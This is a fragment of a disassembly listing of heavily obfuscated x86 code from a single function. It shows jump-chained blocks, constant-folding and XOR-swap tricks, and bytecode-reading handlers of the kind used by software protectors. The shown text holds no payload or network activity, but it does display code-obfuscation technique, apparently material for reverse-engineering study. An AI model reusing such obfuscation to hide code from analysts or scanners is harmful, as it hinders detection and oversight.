		jmp	loc_58A698
; ---------------------------------------------------------------------------


loc_587B51:				; CODE XREF: sub_581EE9+72D8j
		sub	bl, 47h
		pop	ecx
		push	eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		pop	ebx
		push	ecx
		jmp	loc_58DDC7
; ---------------------------------------------------------------------------


loc_587B62:				; CODE XREF: sub_581EE9+844Bj
		pop	esi
		push	edi
		push	22C4h
		mov	[esp-6EC2h+arg_6EBA], ebp
		push	13456554h
		pop	ebp
		jmp	loc_587C68
; ---------------------------------------------------------------------------


loc_587B77:				; CODE XREF: sub_581EE9+A75Ej
		mov	ebp, esp
		sub	esp, 4
		mov	[esp-6EBEh+arg_6EB6], edi
		mov	edi, 319A5A3Bh
		not	edi
		add	edi, 1
		dec	edi
		xor	edi, 6BE9281Eh
		jmp	loc_58E929
; ---------------------------------------------------------------------------


loc_587B9B:				; CODE XREF: sub_581EE9+7637j
		sub	al, 3Eh
		add	cl, al
		mov	eax, [esp-6EBEh+arg_6EB6]
		add	esp, 4
		add	cl, 7Fh
		jmp	loc_58A3DA
; ---------------------------------------------------------------------------


loc_587BB0:				; CODE XREF: sub_581EE9+D55Cj
		pop	eax
		add	esp, 4
		sub	eax, 7EC34158h
		push	5D31h
		jmp	loc_58754A
; ---------------------------------------------------------------------------


loc_587BC6:				; CODE XREF: sub_581EE9+54C0j
		push	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp-6EB6h+arg_6EAC+2]
		xor	[esp-6EB6h+arg_6EAC+2],	ecx
		xor	ecx, [esp-6EB6h+arg_6EAC+2]
		mov	esp, [esp-6EB6h+arg_6EAC+2]
		mov	[esp-6EB6h+arg_6EAC+2],	esp
		add	[esp-6EB6h+arg_6EAC+2],	4
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_587095
; ---------------------------------------------------------------------------


loc_587BFA:				; CODE XREF: sub_581EE9+F1EAj
		dec	ebx
		jmp	loc_5892B7
; ---------------------------------------------------------------------------
dword_587C00	dd 24048B66h, 4EC81h, 4890000h,	0F316824h, 74E90000h
					; DATA XREF: sub_581EE9+3D6Fo
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587C17:				; CODE XREF: sub_581EE9+87E6j
		add	al, 4Fh
		push	[esp-6EB6h+arg_6EAC+2]
		jmp	loc_58C02B
; ---------------------------------------------------------------------------


loc_587C21:				; CODE XREF: sub_581EE9+B9FCj
		mov	bl, 6Fh
		jmp	loc_58F407
; ---------------------------------------------------------------------------


loc_587C28:				; CODE XREF: sub_581EE9+C401j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-6EB2h+arg_6EA8+2]
		xor	[esp-6EB2h+arg_6EA8+2],	ebp
		xor	ebp, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_586801
; ---------------------------------------------------------------------------


loc_587C43:				; CODE XREF: sub_581EE9+FA0Aj
		sub	ebp, 39E8271Ch
		add	ebp, ebx
		add	ebp, 39E8271Ch
		pop	ebx
		push	ebp
		push	[esp-6EB2h+arg_6EAC+2]
		pop	ebp
		pop	[esp-6EB2h+arg_6EA8+2]
		jmp	loc_58BE65
; ---------------------------------------------------------------------------


loc_587C60:				; CODE XREF: sub_581EE9+C461j
		pop	ebx
		push	edi
		push	edx
		jmp	loc_58A46A
; ---------------------------------------------------------------------------


loc_587C68:				; CODE XREF: sub_581EE9+5C89j
		sub	esp, 4
		mov	[esp-6EBEh+arg_6EB6], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EBEh+arg_6EB6]
		jmp	loc_586001
; ---------------------------------------------------------------------------


loc_587C85:				; CODE XREF: sub_581EE9+6D98j
		add	ebx, eax
		pop	eax
		pop	ecx
		jmp	loc_58A2B3
; ---------------------------------------------------------------------------


loc_587C8E:				; CODE XREF: sub_581EE9+C603j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587C93:				; CODE XREF: sub_581EE9+C08Ej
		push	ebp
		jmp	loc_58DE07
; ---------------------------------------------------------------------------


loc_587C99:				; CODE XREF: sub_581EE9+CCD6j
		xor	ecx, [esp-6EC2h+arg_6EBA]
		xor	[esp-6EC2h+arg_6EBA], ecx
		xor	ecx, [esp-6EC2h+arg_6EBA]
		pop	esp
		imul	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp-6EC2h+arg_6EBA], esi
		push	esp
		jmp	loc_586C72
; ---------------------------------------------------------------------------


loc_587CB5:				; CODE XREF: sub_581EE9+4FEAj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		dec	ebp
		push	edi
		mov	edi, 0D2AAB473h
		sub	ebp, 29C76F8h
		add	ebp, edi
		push	edx
		mov	edx, 1E3D6F2Bh
		neg	edx
		or	edx, 778E3C44h
		xor	edx, 0F552CA2Dh
		jmp	loc_5910D8
; ---------------------------------------------------------------------------


loc_587CEF:				; CODE XREF: sub_581EE9+6E4Aj
		push	30B40B08h
		pop	edi
		sub	edi, 2321F85Eh
		mov	ebp, edi
		jmp	loc_58ECCF
; ---------------------------------------------------------------------------


loc_587D02:				; CODE XREF: sub_581EE9+D1B3j
		push	[esp-6EA4h+arg_6E9A+2]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	eax
		push	52F17C62h
		pop	eax
		inc	eax
		sub	eax, 35102DFh
		push	edx
		jmp	loc_590702
; ---------------------------------------------------------------------------


loc_587D1C:				; CODE XREF: sub_581EE9+7BBDj
		push	esi
		mov	esi, 27571EC6h
		and	esi, 3195118h
		sub	esi, 540C1108h
		xor	esi, 0AF04FEFCh
		add	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp-6E98h+arg_6E8E+2]
		jmp	loc_58968A
; ---------------------------------------------------------------------------


loc_587D48:				; CODE XREF: sub_581EE9+F802j
		sub	ebp, 7800073Bh
		pop	edi
		push	ecx
		mov	ecx, 8A40108h
		and	ecx, 453647BEh
		shr	ecx, 1
		sub	ecx, 68807C30h
		add	ecx, 686E7BAEh
		sub	ebp, 3F516B1Ah
		jmp	loc_590AA2
; ---------------------------------------------------------------------------


loc_587D74:				; CODE XREF: sub_581EE9+3F09j
		mov	fs:[edx], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587D7D:				; CODE XREF: sub_581EE9+C056j
		not	byte ptr [esp-6ED8h+arg_6ECE+3]
		jmp	loc_58812C
; ---------------------------------------------------------------------------


loc_587D86:				; CODE XREF: sub_581EE9+DBA2j
		pop	ecx
		push	eax
		push	[esp-6ED8h+arg_6ED2+2]
		pop	eax
		pop	[esp-6ED8h+arg_6ECE+2]
		pop	esp
		push	edi
		mov	edi, 4
		jmp	loc_58E4BB
; ---------------------------------------------------------------------------


loc_587D9C:				; CODE XREF: sub_581EE9+B95Aj
		mov	[esp-6EDCh+arg_6ED2+2],	ecx
		jmp	loc_59047F
; ---------------------------------------------------------------------------


loc_587DA4:				; CODE XREF: sub_581EE9+9091j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_588171
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_58D0F7
; ---------------------------------------------------------------------------


loc_587DC1:				; CODE XREF: sub_581EE9+DFC1j
		add	ecx, edx
		add	dword ptr [ecx], 1
		pop	ecx
		pop	edx
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		push	edx
		jmp	loc_5913A9
; ---------------------------------------------------------------------------


loc_587DD4:				; CODE XREF: sub_581EE9+F488j
		sub	ecx, 0AE053B9Eh
		add	eax, ecx
		mov	ecx, [esp-6EDCh+arg_6ED2+2]
		push	edi
		jmp	loc_587F45
; ---------------------------------------------------------------------------


loc_587DE5:				; CODE XREF: sub_581EE9+BC1Aj
		mov	ebx, 96553EEh
		sub	eax, ebx
		jmp	loc_59125D
; ---------------------------------------------------------------------------


loc_587DF1:				; DATA XREF: sub_581EE9+3CBFo
		pop	small word ptr [edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587DF9:				; CODE XREF: sub_581EE9+80ABj
		inc	ecx
		neg	ecx
		shl	ecx, 5
		jmp	loc_590141
; ---------------------------------------------------------------------------


loc_587E04:				; CODE XREF: sub_581EE9+8219j
		add	esp, 4
		or	ecx, 55CE43E7h
		push	ebp
		jmp	loc_59180D
; ---------------------------------------------------------------------------


loc_587E16:				; CODE XREF: sub_581EE9+97B7j
		pop	esp
		movzx	ecx, ax
		push	3DC5h
		jmp	loc_59063F
; ---------------------------------------------------------------------------


loc_587E24:				; CODE XREF: sub_581EE9+A40Aj
		push	ebx
		mov	ebx, 7D695D36h
		push	edx
		mov	edx, 7F774E22h
		add	ebx, edx
		pop	edx
		push	esi
		sub	esp, 4
		jmp	loc_58FBBA
; ---------------------------------------------------------------------------


loc_587E3F:				; CODE XREF: sub_581EE9+B2E2j
		pop	esp
		push	eax
		mov	eax, esp
		push	33D3h
		mov	[esp-6ECAh+arg_6EC2], esi
		mov	esi, 15BB4B3Bh
		jmp	loc_58945D
; ---------------------------------------------------------------------------


loc_587E55:				; CODE XREF: sub_581EE9+4D61j
		mov	[esp-6ED4h+arg_6ECA+2],	esp
		add	[esp-6ED4h+arg_6ECA+2],	4
		pop	edx
		push	edi
		jmp	loc_58A688
; ---------------------------------------------------------------------------


loc_587E63:				; CODE XREF: sub_581EE9+5842j
		sub	esp, 4
		mov	[esp-6EE0h+arg_6ED6+2],	esp
		jmp	loc_58BEF2
; ---------------------------------------------------------------------------


loc_587E6E:				; CODE XREF: sub_581EE9+F335j
		sub	ch, al
		pop	eax
		xor	al, ch
		jmp	loc_589A33
; ---------------------------------------------------------------------------


loc_587E78:				; CODE XREF: sub_581EE9+F981j
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp-6EE4h+arg_6EDC]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EE0h+arg_6ED6+2]
		pop	esp
		add	ecx, 2
		jmp	loc_58679B
; ---------------------------------------------------------------------------


loc_587E9F:				; CODE XREF: sub_581EE9+3F7Ej
		push	2F3Fh
		mov	[esp-6ED0h+arg_6EC6+2],	edx
		push	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_587EAE:				; CODE XREF: sub_581EE9+B595j
		pop	esi
		sub	eax, 70D36A55h
		push	edx
		mov	edx, 7B757537h
		sub	eax, edx
		pop	edx
		push	3EBDh
		mov	[esp-6EC8h+arg_6EBE+2],	ebx
		push	edx
		push	3A9117DDh
		pop	edx
		push	edi
		mov	edi, 9D9E6225h
		mov	ebx, edi
		jmp	loc_586866
; ---------------------------------------------------------------------------


loc_587ED9:				; CODE XREF: sub_581EE9+B082j
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_58739D
; ---------------------------------------------------------------------------


loc_587EE5:				; CODE XREF: sub_581EE9+A6A6j
		push	2EFh
		mov	[esp-6EBCh+arg_6EB2+2],	ebx
		push	edx
		mov	edx, 1D8635A9h
		neg	edx
		sub	edx, 0E279CA53h
		mov	ebx, edx
		jmp	loc_58E67D
; ---------------------------------------------------------------------------


loc_587F02:				; CODE XREF: sub_581EE9+CDC7j
		add	edx, 4
		sub	edx, 4
		jmp	loc_588357
; ---------------------------------------------------------------------------


loc_587F10:				; CODE XREF: sub_581EE9+6630j
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_58EEB8
; ---------------------------------------------------------------------------


loc_587F1B:				; CODE XREF: sub_581EE9+5484j
		add	ecx, 45410C9Ch
		pop	edi
		xchg	ecx, [esp-6EEAh+arg_6EE0+2]
		jmp	loc_58E976
; ---------------------------------------------------------------------------


loc_587F2A:				; DATA XREF: sub_581EE9+3BB3o
		push	[esp-6EEAh+arg_6EE0+2]
		mov	eax, [esp-6EE6h+arg_6EDC+2]
		add	esp, 4
		jmp	loc_58DF8B
; ---------------------------------------------------------------------------


loc_587F38:				; CODE XREF: sub_581EE9+5623j
		inc	bp
		add	bp, 3F27h
		push	edi
		jmp	loc_58EBC9
; ---------------------------------------------------------------------------


loc_587F45:				; CODE XREF: sub_581EE9+5EF7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		push	edi
		jmp	loc_58E05A
; ---------------------------------------------------------------------------


loc_587F5D:				; CODE XREF: sub_581EE9+C8CBj
		sub	edx, eax
		mov	eax, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		push	eax
		mov	eax, 57FA5617h
		inc	eax
		add	eax, 0E08A1752h
		shr	eax, 6
		jmp	loc_590DE4
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6ED8h+arg_6ECE+2]
		push	ebx
		jmp	loc_5911DC
; ---------------------------------------------------------------------------


loc_587F83:				; CODE XREF: sub_581EE9+EDF2j
		xor	ebp, 79237492h
		jmp	loc_58F0C8
; ---------------------------------------------------------------------------


loc_587F8E:				; CODE XREF: sub_581EE9+AB8Ej
		add	ebx, edi
		sub	ebx, 24756338h
		mov	edi, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		push	ebx
		push	[esp-6ED4h+arg_6ECE+2]
		jmp	loc_58F369
; ---------------------------------------------------------------------------


loc_587FA6:				; CODE XREF: sub_581EE9+4C63j
		xchg	eax, [esp-6ED2h+arg_6ECA]
		pop	esp
		jmp	loc_58C040
; ---------------------------------------------------------------------------


loc_587FAF:				; CODE XREF: sub_581EE9+8012j
		mov	eax, esp
		add	eax, 4
		jmp	loc_588B90
; ---------------------------------------------------------------------------


loc_587FBB:				; CODE XREF: sub_581EE9+ADE4j
		push	edx
		jmp	loc_58AC3F
; ---------------------------------------------------------------------------


loc_587FC1:				; CODE XREF: sub_581EE9+70B7j
		add	eax, 2
		jmp	loc_58F1BA
; ---------------------------------------------------------------------------


loc_587FC9:				; CODE XREF: sub_581EE9+3E4Dj
		push	[esp-6ED6h+arg_6ED2]
		jmp	loc_59045E
; ---------------------------------------------------------------------------


loc_587FD2:				; DATA XREF: sub_581EE9+3C77o
		mov	cx, word ptr [esp-6ED2h+arg_6ECA]
		jmp	loc_58B5B5
; ---------------------------------------------------------------------------


loc_587FDB:				; CODE XREF: sub_581EE9+A816j
		push	edx
		mov	edx, 4DEA5CC4h
		jmp	loc_58A069
; ---------------------------------------------------------------------------


loc_587FE6:				; CODE XREF: sub_581EE9+A86Aj
		mov	eax, 4
		push	esi
		mov	esi, 774C71BFh
		add	edi, esi
		jmp	loc_58B94C
; ---------------------------------------------------------------------------


loc_587FF8:				; CODE XREF: sub_581EE9+80A3j
		push	esi
		jmp	loc_58B60D
; ---------------------------------------------------------------------------


loc_587FFE:				; CODE XREF: sub_581EE9+F314j
		xor	ebp, [esp-6EC6h+arg_6EBE]
		pop	esp
		push	edx
		push	ebx
		push	edx
		push	7C1A1F22h
		jmp	loc_590E0A
; ---------------------------------------------------------------------------


loc_58800F:				; CODE XREF: sub_581EE9+BC5Fj
		pop	ecx
		pop	edi
		add	edi, 4
		add	edi, 2
		xor	edi, [esp-6EC2h+arg_6EBA]
		xor	[esp-6EC2h+arg_6EBA], edi
		xor	edi, [esp-6EC2h+arg_6EBA]
		jmp	loc_58D374
; ---------------------------------------------------------------------------


loc_58802B:				; CODE XREF: sub_581EE9+D858j
		shr	ecx, 7
		push	2C94h
		jmp	loc_590659
; ---------------------------------------------------------------------------


loc_588038:				; CODE XREF: sub_581EE9+CA60j
		shr	eax, 1
		xor	eax, 637E3B6Fh
		push	ecx
		push	esi
		mov	esi, eax
		mov	ecx, esi
		mov	esi, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		push	[esp-6EBEh+arg_6EB6]
		pop	eax
		add	esp, 4
		jmp	loc_5880D8
; ---------------------------------------------------------------------------


loc_58805D:				; CODE XREF: sub_581EE9+D945j
		add	[esp-6EC2h+arg_6EBE], ebx
		jmp	loc_58E917
; ---------------------------------------------------------------------------


loc_588066:				; DATA XREF: sub_581EE9+3CD7o
		lodsb
		jmp	loc_58BACF
; ---------------------------------------------------------------------------


loc_58806C:				; CODE XREF: sub_581EE9+F181j
		add	esp, 4
		push	[esp-6EC6h+arg_6EBE]
		pop	ebx
		jmp	loc_58A7E3
; ---------------------------------------------------------------------------


loc_58807B:				; DATA XREF: sub_581EE9+3D67o
		lodsd
		jmp	loc_5904BA
; ---------------------------------------------------------------------------


loc_588081:				; CODE XREF: sub_581EE9+46ABj
		add	[esp+4], esi
		pop	esi
		pop	eax
		push	esi
		push	4
		pop	esi
		add	eax, 496919AAh
		add	eax, esi
		jmp	loc_591289
; ---------------------------------------------------------------------------


loc_58809A:				; CODE XREF: sub_581EE9+58FBj
		sub	edi, 3BC41F83h
		mov	esi, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		add	edi, esi
		sub	edi, 379779EEh
		pop	esi
		add	edi, 2
		xchg	edi, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		sub	byte ptr [esp-6EC8h+arg_6EBE+2], al
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5880C4:				; CODE XREF: sub_581EE9+8B73j
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	esp
		push	edi
		mov	edi, 4
		jmp	loc_58A6D4
; ---------------------------------------------------------------------------


loc_5880D8:				; CODE XREF: sub_581EE9+616Fj
		sub	eax, 6EE6076Ch
		add	eax, esi
		jmp	loc_58B221
; ---------------------------------------------------------------------------


loc_5880E4:				; CODE XREF: sub_581EE9+79E1j
		xor	[esp-6EC2h+arg_6EBA], ebx
		xor	ebx, [esp-6EC2h+arg_6EBA]
		pop	esp
		mov	[esp-6EC6h+arg_6EBE], esi
		mov	esi, esp
		push	eax
		push	63E465A5h
		pop	eax
		jmp	loc_58A474
; ---------------------------------------------------------------------------


loc_5880FC:				; CODE XREF: sub_581EE9+C1FFj
		push	ebx
		mov	ebx, 303F7127h
		shl	ebx, 4
		shr	ebx, 7
		jmp	loc_588CD1
; ---------------------------------------------------------------------------


loc_58810D:				; CODE XREF: sub_581EE9+A4E5j
		neg	ebp
		push	esi
		jmp	loc_589D52
; ---------------------------------------------------------------------------


loc_588115:				; CODE XREF: sub_581EE9+EE25j
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, edi
		jmp	loc_586CA7
; ---------------------------------------------------------------------------


loc_588124:				; CODE XREF: sub_581EE9+5AC6j
		xchg	ebp, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_590530
; ---------------------------------------------------------------------------


loc_58812C:				; CODE XREF: sub_581EE9+5E98j
		mov	bx, word ptr [esp-6ED8h+arg_6ECE+2]
		add	esp, 2
		not	bh
		push	cx
		mov	cl, 86h
		add	bh, cl
		pop	cx
		add	al, 95h
		sub	al, bh
		sub	al, 95h
		jmp	loc_58CB86
; ---------------------------------------------------------------------------


loc_588148:				; CODE XREF: sub_581EE9+9C00j
		mov	[esp-6EDCh+arg_6ED2+2],	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 16830ABCh
		xor	edx, 16830AB8h
		add	ebp, edx
		mov	edx, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp-6EDCh+arg_6ED2+2]
		xor	[esp-6EDCh+arg_6ED2+2],	ebp
		xor	ebp, [esp-6EDCh+arg_6ED2+2]
		pop	esp


loc_588171:				; CODE XREF: sub_581EE9+5EBFj
					; sub_581EE9+90A2j
		push	[esp-6EE0h+arg_6ED6+2]
		mov	ebx, [esp-6EDCh+arg_6ED2+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_58E5E3
; ---------------------------------------------------------------------------


loc_588183:				; CODE XREF: sub_581EE9+7467j
		pop	eax
		push	ecx
		mov	ecx, 35DC02EBh
		add	ecx, 1
		jmp	loc_58EAFA
; ---------------------------------------------------------------------------


loc_588195:				; DATA XREF: sub_581EE9+3C47o
		mov	ax, word ptr [esp-6ED8h+arg_6ECE+2]
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 2
		add	ebx, 3854A36h
		add	ebx, 58B27202h
		sub	ebx, 0D500973h
		add	ebx, esi
		add	ebx, 0D500973h
		push	eax
		mov	eax, 58B27202h
		sub	ebx, 6E3E393Bh
		sub	ebx, eax
		add	ebx, 6E3E393Bh
		pop	eax
		sub	ebx, 3854A36h
		mov	esi, [esp-6ED0h+arg_6EC6+2]
		add	esp, 4
		xor	ebx, [esp-6ED4h+arg_6ECA+2]
		xor	[esp-6ED4h+arg_6ECA+2],	ebx
		xor	ebx, [esp-6ED4h+arg_6ECA+2]
		mov	esp, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_58AF90
; ---------------------------------------------------------------------------


loc_5881F9:				; CODE XREF: sub_581EE9+D6AEj
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ED8h+arg_6ECE+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		add	[esp-6ED8h+arg_6ECE+2],	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58820E:				; CODE XREF: sub_581EE9+B427j
		mov	ebx, 18540DF8h
		sub	eax, 32A57799h
		push	edx
		mov	edx, 1518004Ah
		neg	edx
		jmp	loc_585F3E
; ---------------------------------------------------------------------------


loc_588225:				; CODE XREF: sub_581EE9+895Aj
		add	ebp, 57B07126h
		jmp	loc_58A5DB
; ---------------------------------------------------------------------------


loc_588230:				; CODE XREF: sub_581EE9+F6FFj
		inc	ecx
		jmp	loc_58E17B
; ---------------------------------------------------------------------------


loc_588236:				; CODE XREF: sub_581EE9+9D88j
		pop	esp
		mov	[esp-6ED4h+arg_6ECA+2],	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp-6ED0h+arg_6ECA+2]
		pop	edx
		pop	[esp-6ED0h+arg_6EC6+2]
		mov	esp, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_588259:				; CODE XREF: sub_581EE9+6596j
		push	15D4h
		mov	[esp-6ED0h+arg_6EC6+2],	esi
		mov	esi, 5FDE228Ah
		jmp	loc_58AB69
; ---------------------------------------------------------------------------


loc_58826B:				; CODE XREF: sub_581EE9+7E6Aj
		push	75674D23h
		jmp	loc_588E12
; ---------------------------------------------------------------------------


loc_588275:				; CODE XREF: sub_581EE9+B9F3j
		mov	ebx, 7D206D3Eh
		dec	ebx
		jmp	loc_58C4E7
; ---------------------------------------------------------------------------


loc_588280:				; CODE XREF: sub_581EE9+71EAj
		push	edx
		jmp	loc_58C560
; ---------------------------------------------------------------------------


loc_588286:				; CODE XREF: sub_581EE9+E69Aj
		pop	esp
		jmp	loc_5915AB
; ---------------------------------------------------------------------------


loc_58828C:				; CODE XREF: sub_581EE9+729Aj
		or	ebp, 1A45062h
		not	ebp
		jmp	loc_58AA8C
; ---------------------------------------------------------------------------


loc_588299:				; CODE XREF: sub_581EE9+B2D7j
		add	[esp-6ECCh+arg_6EC6+2],	ebp
		pop	ebp
		jmp	loc_588889
; ---------------------------------------------------------------------------


loc_5882A3:				; CODE XREF: sub_581EE9+9CC7j
		pop	ebp
		add	eax, ebx
		sub	eax, 47E942E6h
		push	edx
		jmp	loc_587309
; ---------------------------------------------------------------------------


loc_5882B1:				; CODE XREF: sub_581EE9+702Dj
		add	bl, dl
		pop	edx
		sub	bl, 0D4h
		jmp	loc_58F065
; ---------------------------------------------------------------------------


loc_5882BC:				; CODE XREF: sub_581EE9+8B57j
		mov	ebp, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		push	[esp-6ED8h+arg_6ECE+2]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_58DB08
; ---------------------------------------------------------------------------


loc_5882D2:				; CODE XREF: sub_581EE9+92C1j
		or	esi, ebp
		jmp	loc_58F816
; ---------------------------------------------------------------------------


loc_5882D9:				; CODE XREF: sub_581EE9+6E5Ej
		push	70D5h
		mov	[esp-6ED4h+arg_6ECA+2],	edx
		mov	edx, 51865D68h
		and	edx, 0DC02045h
		add	edx, 691924F3h
		jmp	loc_589338
; ---------------------------------------------------------------------------


loc_5882F7:				; CODE XREF: sub_581EE9+9C1Aj
		mov	bh, ah
		pop	eax
		sub	dl, bh
		pop	bx
		add	al, 22h
		add	al, dl
		sub	al, 22h
		mov	edx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		push	edx
		mov	dh, 64h
		add	dh, 0FFh
		sub	dh, 0DCh
		jmp	loc_58E6DE
; ---------------------------------------------------------------------------


loc_588318:				; CODE XREF: sub_581EE9+E8FDj
		or	ebx, edi
		jmp	loc_58CC54
; ---------------------------------------------------------------------------


loc_58831F:				; CODE XREF: sub_581EE9+6C8Fj
		pop	ecx
		jmp	loc_590C2E
; ---------------------------------------------------------------------------


loc_588325:				; CODE XREF: sub_581EE9+90ECj
		dec	eax
		push	edi
		mov	edi, 596D6A49h
		not	edi
		jmp	loc_58E15D
; ---------------------------------------------------------------------------


loc_588333:				; CODE XREF: sub_581EE9+3FD1j
		pop	ebp
		jmp	loc_58A2E3
; ---------------------------------------------------------------------------


loc_588339:				; CODE XREF: sub_581EE9+8E46j
		pop	edx
		dec	esi
		jmp	loc_58A863
; ---------------------------------------------------------------------------


loc_588340:				; CODE XREF: sub_581EE9+3E58j
		sub	edi, 0D10834D0h
		add	esi, edi
		mov	edi, [esp-6ED6h+arg_6ECE]
		add	esp, 4
		push	ebp
		jmp	loc_5896B0
; ---------------------------------------------------------------------------


loc_588357:				; CODE XREF: sub_581EE9+6022j
		xchg	edx, [esp+0]
		jmp	loc_58FB40
; ---------------------------------------------------------------------------


loc_58835F:				; DATA XREF: sub_581EE9+3C2Fo
		mov	cx, [esp+0]
		push	7A0Ah
		mov	[esp-6EB4h+arg_6EAC], edi
		mov	edi, esp
		push	ebp
		push	4C3A1F33h
		jmp	loc_58A107
; ---------------------------------------------------------------------------


loc_588378:				; CODE XREF: sub_581EE9+E3F6j
		push	5C01h
		mov	[esp-6EA8h+arg_6E9E+2],	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	7F28h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5916E3
; ---------------------------------------------------------------------------


loc_58839C:				; CODE XREF: sub_581EE9+E9DEj
		pop	dword ptr [esp]
		pop	esp
		push	7745h
		mov	[esp-6EA8h+arg_6E9E+2],	edx
		mov	edx, esp
		jmp	loc_591AF1
; ---------------------------------------------------------------------------


loc_5883AF:				; CODE XREF: sub_581EE9+C2DDj
		not	ah
		add	ah, 1
		jmp	loc_58F0CE
; ---------------------------------------------------------------------------


loc_5883B9:				; CODE XREF: sub_581EE9+88F5j
		mov	ebx, 23271AFDh
		push	edi
		mov	edi, 4D7D5203h
		shl	edi, 5
		xor	edi, 696D6714h
		or	edi, 67222230h
		inc	edi
		add	edi, 0FFFFFFFFh
		jmp	loc_590FEE
; ---------------------------------------------------------------------------


loc_5883DC:				; DATA XREF: sub_581EE9+3C8Fo
		mov	ax, word ptr [esp-6EA4h+arg_6E9A+2]
		push	ebx
		push	esp
		mov	ebx, [esp-6E9Ch+arg_6E92+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59069E
; ---------------------------------------------------------------------------


loc_5883F6:				; CODE XREF: sub_581EE9+F5C5j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4BD02C96h
		sub	ebp, 22300AA5h
		shr	ebp, 4
		shl	ebp, 7
		jmp	loc_58C6D2
; ---------------------------------------------------------------------------


loc_588416:				; CODE XREF: sub_581EE9+FD5Bj
		dec	dh
		jmp	loc_587241
; ---------------------------------------------------------------------------


loc_58841D:				; DATA XREF: sub_581EE9+3BE3o
		lodsb
		jmp	loc_588771
; ---------------------------------------------------------------------------


loc_588423:				; CODE XREF: sub_581EE9+7C7Cj
		xor	eax, 5D3402DAh
		mov	esi, [esp+0]
		add	esp, 4
		push	168Bh
		mov	[esp+0], ebx
		jmp	loc_590E3E
; ---------------------------------------------------------------------------


loc_58843B:				; CODE XREF: sub_581EE9+4F7Dj
		add	ecx, ebx
		jmp	loc_58BCB5
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		jmp	loc_589188
; ---------------------------------------------------------------------------


loc_58844B:				; CODE XREF: sub_581EE9+FBE4j
		add	edi, 4
		push	edi
		push	[esp-6EB0h+arg_6EAC]
		pop	edi
		pop	[esp-6EB0h+arg_6EA8]
		pop	esp


loc_588458:				; CODE XREF: sub_581EE9+FA18j
		push	3C49h
		mov	[esp-6EB4h+arg_6EAC], esi
		push	ebx
		push	eax
		mov	eax, 0C8545C7h
		xor	[esp-6EACh+arg_6EA8], eax
		jmp	loc_58F66D
; ---------------------------------------------------------------------------


loc_588470:				; CODE XREF: sub_581EE9+D3D7j
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 5DC6214h
		jmp	loc_588C8E
; ---------------------------------------------------------------------------


loc_58847E:				; CODE XREF: sub_581EE9+984Dj
		pop	ecx
		jmp	loc_588259
; ---------------------------------------------------------------------------


loc_588484:				; CODE XREF: sub_581EE9+8291j
		sub	bh, ah
		pop	eax
		add	al, 8
		sub	al, bh
		sub	al, 8
